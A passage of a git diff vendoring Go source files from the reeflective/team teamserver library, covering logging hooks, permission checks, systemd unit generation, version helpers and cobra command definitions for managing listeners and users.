defaultFieldsFormat() map[string]string { + return map[string]string{ + fieldTimestamp: style.BrightBlack, + fieldPackage: style.Dim, + fieldMessage: style.BrightWhite, + } +} + +func defaultLevelFields() map[logrus.Level]string { + return map[logrus.Level]string{ + logrus.TraceLevel: "▪", + logrus.DebugLevel: "▫", + logrus.InfoLevel: "○", + logrus.WarnLevel: "▲", + logrus.ErrorLevel: "✖", + logrus.FatalLevel: "☠", + logrus.PanicLevel: "!!", + } +} + +func defaultLevelFieldsColored() map[string]string { + return map[string]string{ + "▪": style.BrightBlack, + "▫": style.Dim, + "○": style.BrightBlue, + "▲": style.Yellow, + "✖": style.BrightRed, + "☠": style.BgBrightCyan, + "!!": style.BgBrightMagenta, + } +} + +func color(color string) string { + return sgrStart + style.SGR(color) + sgrEnd +} diff --git a/vendor/github.com/reeflective/team/internal/log/db.go b/vendor/github.com/reeflective/team/internal/log/db.go new file mode 100644 index 0000000000..3b43e1a4ec --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/db.go @@ -0,0 +1,63 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + "time" + + "github.com/sirupsen/logrus" + "gorm.io/gorm/logger" +) + +// gorm middleware for database queries/results logging. +type gormWriter struct { + log *logrus.Entry +} + +func (w gormWriter) Printf(format string, args ...interface{}) { + w.log.Printf(format, args...) +} + +// NewDatabase returns a logger suitable as logrus database logging middleware. +func NewDatabase(log *logrus.Entry, level string) logger.Interface { + logConfig := logger.Config{ + SlowThreshold: time.Second, + Colorful: true, + LogLevel: logger.Info, + } + switch strings.ToLower(level) { + case "silent": + logConfig.LogLevel = logger.Silent + case "err": + fallthrough + case "error": + logConfig.LogLevel = logger.Error + case "warning": + fallthrough + case "warn": + logConfig.LogLevel = logger.Warn + case "info": + fallthrough + default: + logConfig.LogLevel = logger.Info + } + + return logger.New(gormWriter{log: log}, logConfig) +} diff --git a/vendor/github.com/reeflective/team/internal/log/log.go b/vendor/github.com/reeflective/team/internal/log/log.go new file mode 100644 index 0000000000..b31cccf587 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/log.go @@ -0,0 +1,176 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +const ( + // ClientLogFileExt is used as extension by all main teamclients log files by default. + ClientLogFileExt = "teamclient.log" + // ServerLogFileExt is used as extension by all teamservers core log files by default. + ServerLogFileExt = "teamserver.log" +) + +// Init is the main constructor that is (and should be) used for teamserver and teamclient logging. +// It hooks a normal logger with a sublogger writing to a file in text version, and another logger +// writing to stdout/stderr with enhanced formatting/coloring support. +func Init(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, *logrus.Logger, error) { + logFile, err := fs.OpenFile(file, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, nil, fmt.Errorf("Failed to open log file %w", err) + } + + // Text-format logger, writing to file. + textLogger := logrus.New() + textLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + textLogger.Out = io.Discard + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + // File output + textLogger.AddHook(newTxtHook(logFile, level, textLogger)) + + // Stdout/err output, with special formatting. + stdioHook := newStdioHook() + textLogger.AddHook(stdioHook) + + return textLogger, stdioHook.logger, nil +} + +// NewStdio returns a logger configured to output its events to the system stdio: +// - Info/Debug/Trace logs are written to os.Stdout. +// - Warn/Error/Fatal/Panic are written to os.Stderr. +func NewStdio(level logrus.Level) *logrus.Logger { + stdLogger := logrus.New() + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + stdLogger.SetLevel(level) + stdLogger.SetReportCaller(true) + stdLogger.Out = io.Discard + + // Info/debug/trace is given to a stdout logger. + stdoutHook := newLoggerStdout() + stdLogger.AddHook(stdoutHook) + + // Warn/error/panics/fatals are given to stderr. + stderrHook := newLoggerStderr() + stdLogger.AddHook(stderrHook) + + return stdLogger +} + +// NewJSON returns a logger writing to the central log file of the teamserver, JSON-encoded. +func NewJSON(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, error) { + rootLogger := logrus.New() + rootLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := fmt.Sprintf("%s.json", file) + + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + rootLogger.Out = logFile + rootLogger.SetLevel(logrus.InfoLevel) + rootLogger.SetReportCaller(true) + rootLogger.AddHook(newTxtHook(logFile, level, rootLogger)) + + return rootLogger, nil +} + +// NewAudit returns a logger writing to an audit file in JSON format. +func NewAudit(fs *assets.FS, logDir string) (*logrus.Logger, error) { + auditLogger := logrus.New() + auditLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := filepath.Join(logDir, "audit.json") + + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + auditLogger.Out = logFile + auditLogger.SetLevel(logrus.DebugLevel) + + return auditLogger, nil +} + +// NewText returns a new logger writing to a given file. +// The formatting is enhanced for informative debugging and call +// stack reporting, but without any special coloring/formatting. +func NewText(file io.Writer) (*logrus.Logger, error) { + txtLogger := logrus.New() + txtLogger.Formatter = &logrus.TextFormatter{ + ForceColors: true, + FullTimestamp: true, + } + + txtLogger.Out = file + txtLogger.SetLevel(logrus.InfoLevel) + + return txtLogger, nil +} + +// LevelFrom - returns level from int. +func LevelFrom(level int) logrus.Level { + switch level { + case int(logrus.PanicLevel): + return logrus.PanicLevel + case int(logrus.FatalLevel): + return logrus.FatalLevel + case int(logrus.ErrorLevel): + return logrus.ErrorLevel + case int(logrus.WarnLevel): + return logrus.WarnLevel + case int(logrus.InfoLevel): + return logrus.InfoLevel + case int(logrus.DebugLevel): + return logrus.DebugLevel + case int(logrus.TraceLevel): + return logrus.TraceLevel + } + + return logrus.DebugLevel +} + +// FileName take a filename without extension and adds +// the corresponding teamserver/teamclient logfile extension. +func FileName(name string, server bool) string { + if server { + return fmt.Sprintf("%s.%s", name, ServerLogFileExt) + } + + return fmt.Sprintf("%s.%s", name, ClientLogFileExt) +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms.go b/vendor/github.com/reeflective/team/internal/log/perms.go new file mode 100644 index 0000000000..2eea129c26 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms.go @@ -0,0 +1,60 @@ +//go:build !windows +// +build !windows + +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "syscall" +) + +// IsWritable checks that the given path can be created. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return + } + + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + var stat syscall.Stat_t + if err = syscall.Stat(path, &stat); err != nil { + return false, fmt.Errorf("Unable to get stat") + } + + err = nil + if uint32(os.Geteuid()) != stat.Uid { + return isWritable, fmt.Errorf("User doesn't have permission to write to this directory") + } + + isWritable = true + + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms_windows.go b/vendor/github.com/reeflective/team/internal/log/perms_windows.go new file mode 100644 index 0000000000..1ccb9bd5cf --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms_windows.go @@ -0,0 +1,46 @@ +package log + +/* + team - Embeded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" +) + +// IsWritable checks that the given path can be created, on Windows. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return false, err + } + + err = nil + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + isWritable = true + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/text.go b/vendor/github.com/reeflective/team/internal/log/text.go new file mode 100644 index 0000000000..e4a81ce801 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/text.go @@ -0,0 +1,97 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "io" + "path/filepath" + "strings" + + "github.com/sirupsen/logrus" +) + +// txtHook - Hook in a textual version of the logs. +type txtHook struct { + Name string + app string + logger *logrus.Logger +} + +// newTxtHook - returns a new txt hook. +func newTxtHook(fs io.Writer, level logrus.Level, log *logrus.Logger) *txtHook { + hook := &txtHook{} + + logger, err := NewText(fs) + if err != nil { + log.Error(err) + } + + hook.logger = logger + hook.logger.SetLevel(level) + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *txtHook) Fire(entry *logrus.Entry) error { + if hook.logger == nil { + return errors.New("no txt logger") + } + + // Determine the caller (filename/line number) + srcFile := "" + if entry.HasCaller() { + wiregostIndex := strings.Index(entry.Caller.File, hook.app) + srcFile = entry.Caller.File + if wiregostIndex != -1 { + srcFile = srcFile[wiregostIndex:] + } + } + + // Tream the useless prefix path, containing where it was compiled on the host... + paths := strings.Split(srcFile, "/mod/") + if len(paths) > 1 && paths[1] != "" { + srcFile = filepath.Join(paths[1:]...) + } + + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panicf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.FatalLevel: + hook.logger.Fatalf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.ErrorLevel: + hook.logger.Errorf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.WarnLevel: + hook.logger.Warnf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.InfoLevel: + hook.logger.Infof(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.DebugLevel: + hook.logger.Debugf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.TraceLevel: + hook.logger.Tracef(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + } + + return nil +} + +// Levels - Hook all levels. +func (hook *txtHook) Levels() []logrus.Level { + return logrus.AllLevels +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/config.go b/vendor/github.com/reeflective/team/internal/systemd/config.go new file mode 100644 index 0000000000..585f6e3270 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/config.go @@ -0,0 +1,112 @@ +package systemd + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + // Embed our example teamserver.service file. + _ "embed" + "fmt" + "log" + "os" + "os/user" + "strings" + "text/template" + + "github.com/reeflective/team/internal/version" +) + +// Config is a stub to generate systemd configuration files. +type Config struct { + User string // User to configure systemd for, default is current user. + Binpath string // Path to binary + Args []string // The command is the position of the daemon command in the application command tree. +} + +//go:embed teamserver.service +var systemdServiceTemplate string + +// NewFrom returns a new templated systemd configuration file. +func NewFrom(name string, userCfg *Config) string { + cfg := NewDefaultConfig() + + if userCfg != nil { + cfg.User = userCfg.User + cfg.Binpath = userCfg.Binpath + cfg.Args = userCfg.Args + } + + // Prepare all values before running templates + ver := version.Semantic() + version := fmt.Sprintf("%d.%d.%d", ver[0], ver[1], ver[2]) + desc := fmt.Sprintf("%s Teamserver daemon (v%s)", name, version) + + systemdUser := cfg.User + if systemdUser == "" { + systemdUser = "root" + } + + // Command + command := strings.Join(cfg.Args, " ") + + TemplateValues := struct { + Application string + Description string + User string + Command string + }{ + Application: name, + Description: desc, + User: systemdUser, + Command: command, + } + + var config bytes.Buffer + + templ := template.New(name) + parsed, err := templ.Parse(systemdServiceTemplate) + if err != nil { + log.Fatalf("Failed to parse: %s", err) + } + + parsed.Execute(&config, TemplateValues) + + systemdFile := config.String() + + return systemdFile +} + +// NewDefaultConfig returns a default Systemd service file configuration. +func NewDefaultConfig() *Config { + c := &Config{} + + user, _ := user.Current() + if user != nil { + c.User = user.Username + } + + currentPath, err := os.Executable() + if err != nil { + return c + } + + c.Binpath = currentPath + + return c +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/teamserver.service b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service new file mode 100644 index 0000000000..eecc056312 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service @@ -0,0 +1,17 @@ +## [ {{.Application}} Systemd Service ] + +[Unit] +Description={{.Description}} +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +Restart=on-failure +RestartSec=3 +User={{.User}} +ExecStart={{.Command}} + +[Install] +WantedBy=multi-user.target + diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go new file mode 100644 index 0000000000..a6a83ae3c3 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/version/version.go @@ -0,0 +1,111 @@ +package version + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "runtime/debug" + "strconv" + "strings" + "time" +) + +const ( + semVerLen = 3 +) + +// ErrNoBuildInfo is an error indicating that we could not fetch any binary build info. +var ErrNoBuildInfo = errors.New("No binary build info") + +// Semantic - Get the structured semantic +// version of the application binary. +func Semantic() []int { + semVer := make([]int, semVerLen) + + info, ok := debug.ReadBuildInfo() + if !ok { + return semVer + } + + version := info.Main.Version + + for i, part := range strings.Split(version, ".") { + number, _ := strconv.ParseInt(part, 10, 32) + semVer[i] = int(number) + } + + return semVer +} + +// Compiled - Get time this binary was compiled. +func Compiled() (time.Time, error) { + info, ok := debug.ReadBuildInfo() + if !ok { + return time.Unix(0, 0), ErrNoBuildInfo + } + + var compiledAt string + + for _, set := range info.Settings { + if set.Key == "vcs.time" { + compiledAt = set.Value + break + } + } + + compiled, err := strconv.ParseInt(compiledAt, 10, 64) + if err != nil { + return time.Unix(0, 0), err + } + + return time.Unix(compiled, 0), nil +} + +// GitCommit returns the last commit hash. +func GitCommit() string { + info, ok := debug.ReadBuildInfo() + if !ok { + return "" + } + + for _, set := range info.Settings { + if set.Key == "vcs.revision" { + return set.Value + } + } + + return "" +} + +// GitDirty returns true if the binary was compiled +// with modified files in the VCS working area. +func GitDirty() bool { + info, ok := debug.ReadBuildInfo() + if !ok { + return false + } + + for _, set := range info.Settings { + if set.Key == "vcs.modified" { + return set.Key == "true" + } + } + + return false +} diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go new file mode 100644 index 0000000000..67d2f731fa --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -0,0 +1,261 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/reeflective/team/client" + cli "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/server" +) + +// Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. +// It requires a teamclient so as to bind its "teamclient" tree as a subcommand of the server root. +// This is so that all CLI applications which can be a teamserver can also be a client of their own. +// +// ** Commands do: +// - Work even if the teamserver/client returns errors: those are returned &| printed &| logged. +// - Use the cobra utilities OutOrStdout(), ErrOrStdErr(), ... for all and every command output. +// - Have attached completions for users/listeners/config files of all sorts, and other things. +// - Have the ability to be ran in closed-loop console applications ("single runtime shell"). +// +// ** Commands do NOT: +// - Ensure they are connected to a server instance before running (in memory). +// - Call os.Exit() anywhere, thus will not exit the program embedding them. +// - Ignite/start the teamserver core/filesystem/backends before they absolutely need to. +// Consequently, do not touch the filesystem until they absolutely need to. +// - Connect the client more than once to the teamserver. +// - Start persistent listeners, excluding the daemon command. +func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Command { + // Server-only commands always need to have open log + // files, most of the time access to the database, etc. + // On top, they need a listener in memory. + servCmds := serverCommands(teamserver, teamclient) + + // We bind the same runners to the client-side commands. + cliCmds := cli.Generate(teamclient) + cliCmds.Use = "client" + cliCmds.GroupID = command.TeamServerGroup + + servCmds.AddCommand(cliCmds) + + return servCmds +} + +func serverCommands(server *server.Server, client *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamserver", + Short: fmt.Sprintf("Manage the %s teamserver and users", server.Name()), + SilenceUsage: true, + } + + // Groups + teamCmd.AddGroup( + &cobra.Group{ID: command.TeamServerGroup, Title: command.TeamServerGroup}, + &cobra.Group{ID: command.UserManagementGroup, Title: command.UserManagementGroup}, + ) + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:info-> 3:trace)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + // [ Listeners and servers control commands ] ------------------------------------------ + + // Start a listener + listenCmd := &cobra.Command{ + Use: "listen", + Short: "Start a teamserver listener (non-blocking)", + GroupID: command.TeamServerGroup, + RunE: startListenerCmd(server), + } + + lnFlags := pflag.NewFlagSet("listener", pflag.ContinueOnError) + lnFlags.StringP("host", "H", "", "interface to bind server to") + lnFlags.StringP("listener", "l", "", "listener stack to use instead of default (completed)") + lnFlags.Uint16P("port", "P", 31337, "tcp listen port") + lnFlags.BoolP("persistent", "p", false, "make listener persistent across restarts") + listenCmd.Flags().AddFlagSet(lnFlags) + + listenComps := make(carapace.ActionMap) + listenComps["host"] = interfacesCompleter() + listenComps["listener"] = carapace.ActionCallback(listenerTypeCompleter(client, server)) + carapace.Gen(listenCmd).FlagCompletion(listenComps) + + teamCmd.AddCommand(listenCmd) + + // Close a listener + closeCmd := &cobra.Command{ + Use: "close", + Short: "Close a listener and remove it from persistent ones if it's one", + Args: cobra.MinimumNArgs(1), + GroupID: command.TeamServerGroup, + Run: closeCmd(server), + } + + closeComps := carapace.Gen(closeCmd) + closeComps.PositionalAnyCompletion(carapace.ActionCallback(listenerIDCompleter(client, server))) + + closeComps.PreRun(func(cmd *cobra.Command, args []string) { + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } + }) + + teamCmd.AddCommand(closeCmd) + + // Daemon (blocking listener and persistent jobs) + daemonCmd := &cobra.Command{ + Use: "daemon", + Short: "Start the teamserver in daemon mode (blocking)", + GroupID: command.TeamServerGroup, + RunE: daemoncmd(server), + } + daemonCmd.Flags().StringP("host", "l", "-", "multiplayer listener host") + daemonCmd.Flags().Uint16P("port", "p", uint16(0), "multiplayer listener port") + + daemonComps := make(carapace.ActionMap) + daemonComps["host"] = interfacesCompleter() + carapace.Gen(daemonCmd).FlagCompletion(daemonComps) + + teamCmd.AddCommand(daemonCmd) + + // Systemd configuration output + systemdCmd := &cobra.Command{ + Use: "systemd", + Short: "Print a systemd unit file for the application teamserver, with options", + GroupID: command.TeamServerGroup, + RunE: systemdConfigCmd(server), + } + + sFlags := pflag.NewFlagSet("systemd", pflag.ContinueOnError) + sFlags.StringP("binpath", "b", "", "Specify the path of the teamserver application binary") + sFlags.StringP("user", "u", "", "Specify the user for the systemd file to run with") + sFlags.StringP("save", "s", "", "Directory/file in which to save config, instead of stdout") + sFlags.StringP("host", "l", "", "Listen host to use in the systemd command line") + sFlags.Uint16P("port", "p", 0, "Listen port in the systemd command line") + systemdCmd.Flags().AddFlagSet(sFlags) + + sComps := make(carapace.ActionMap) + sComps["save"] = carapace.ActionFiles() + sComps["binpath"] = carapace.ActionFiles() + sComps["host"] = interfacesCompleter() + carapace.Gen(systemdCmd).FlagCompletion(sComps) + + teamCmd.AddCommand(systemdCmd) + + statusCmd := &cobra.Command{ + Use: "status", + Short: "Show the status of the teamserver (listeners, configurations, health...)", + GroupID: command.TeamServerGroup, + Run: statusCmd(server), + } + + teamCmd.AddCommand(statusCmd) + + // [ Users and data control commands ] ------------------------------------------------- + + // Add user + userCmd := &cobra.Command{ + Use: "user", + Short: "Create a user for this teamserver and generate its client configuration file", + GroupID: command.UserManagementGroup, + Run: createUserCmd(server, client), + } + + teamCmd.AddCommand(userCmd) + + userFlags := pflag.NewFlagSet("user", pflag.ContinueOnError) + userFlags.StringP("host", "l", "", "listen host") + userFlags.Uint16P("port", "p", 0, "listen port") + userFlags.StringP("save", "s", "", "directory/file in which to save config") + userFlags.StringP("name", "n", "", "user name") + userFlags.BoolP("system", "U", false, "Use the current OS user, and save its configuration directly in client dir") + userCmd.Flags().AddFlagSet(userFlags) + + userComps := make(carapace.ActionMap) + userComps["save"] = carapace.ActionDirectories() + userComps["host"] = interfacesCompleter() + carapace.Gen(userCmd).FlagCompletion(userComps) + + // Delete and kick user + rmUserCmd := &cobra.Command{ + Use: "delete", + Short: "Remove a user from the teamserver, and revoke all its current tokens", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: rmUserCmd(server), + } + + teamCmd.AddCommand(rmUserCmd) + + rmUserComps := carapace.Gen(rmUserCmd) + + rmUserComps.PositionalCompletion(carapace.ActionCallback(userCompleter(client, server))) + + rmUserComps.PreRun(func(cmd *cobra.Command, args []string) { + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } + }) + + // Import a list of users and their credentials. + cmdImportCA := &cobra.Command{ + Use: "import", + Short: "Import a certificate Authority file containing teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: importCACmd(server), + } + + iComps := carapace.Gen(cmdImportCA) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(cli.ConfigsCompleter(client, "teamserver/certs", ".teamserver.pem", "other teamservers user CAs", true)), + carapace.ActionFiles().Tag("teamserver user CAs"), + ).ToA(), + ) + + teamCmd.AddCommand(cmdImportCA) + + // Export the list of users and their credentials. + cmdExportCA := &cobra.Command{ + Use: "export", + Short: "Export a Certificate Authority file containing the teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.RangeArgs(0, 1), + Run: exportCACmd(server), + } + + carapace.Gen(cmdExportCA).PositionalCompletion(carapace.ActionFiles()) + teamCmd.AddCommand(cmdExportCA) + + return teamCmd +} diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go new file mode 100644 index 0000000000..1b336cebbf --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -0,0 +1,141 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "strings" + + "github.com/rsteube/carapace" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/server" +) + +// interfacesCompleter completes interface addresses on the client host. +func interfacesCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + ifaces, err := net.Interfaces() + if err != nil { + return carapace.ActionMessage("failed to get net interfaces: %s", err.Error()) + } + + results := make([]string, 0) + + for _, i := range ifaces { + addrs, err := i.Addrs() + if err != nil { + continue + } + + for _, a := range addrs { + switch ipType := a.(type) { + case *net.IPAddr: + results = append(results, ipType.IP.String()) + case *net.IPNet: + results = append(results, ipType.IP.String()) + default: + results = append(results, ipType.String()) + } + } + } + + return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') + }) +} + +// userCompleter completes usernames of the application teamserver. +func userCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + users, err := client.Users() + if err != nil { + return carapace.ActionMessage("Failed to get users: %s", err) + } + + results := make([]string, len(users)) + for i, user := range users { + results[i] = strings.TrimSpace(user.Name) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("%s teamserver has no users", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver users", server.Name())) + } +} + +// listenerIDCompleter completes ID for running teamserver listeners. +func listenerIDCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Listeners() + cfg := server.GetConfig() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(formatSmallID(ln.ID))) + results = append(results, fmt.Sprintf("[%s] (%s)", ln.Description, "Up")) + } + + var persistents []string + next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + persistents = append(persistents, strings.TrimSpace(formatSmallID(saved.ID))) + + host := fmt.Sprintf("%s:%d", saved.Host, saved.Port) + persistents = append(persistents, fmt.Sprintf("[%s] (%s)", host, "Up")) + } + + if len(results) == 0 && len(persistents) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no listeners running/saved for %s teamserver", server.Name())) + } + + // return carapace. + return carapace.Batch( + carapace.ActionValuesDescribed(results...).Tag("active teamserver listeners"), + carapace.ActionValuesDescribed(persistents...).Tag("saved teamserver listeners"), + ).ToA() + } +} + +// listenerTypeCompleter completes the different types of teamserver listener/handler stacks available. +func listenerTypeCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Handlers() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(ln.Name())) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no additional listener types for %s teamserver", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver listener types", server.Name())) + } +} diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go new file mode 100644 index 0000000000..2cc8d50b68 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -0,0 +1,385 @@ +package commands + +/* + team - 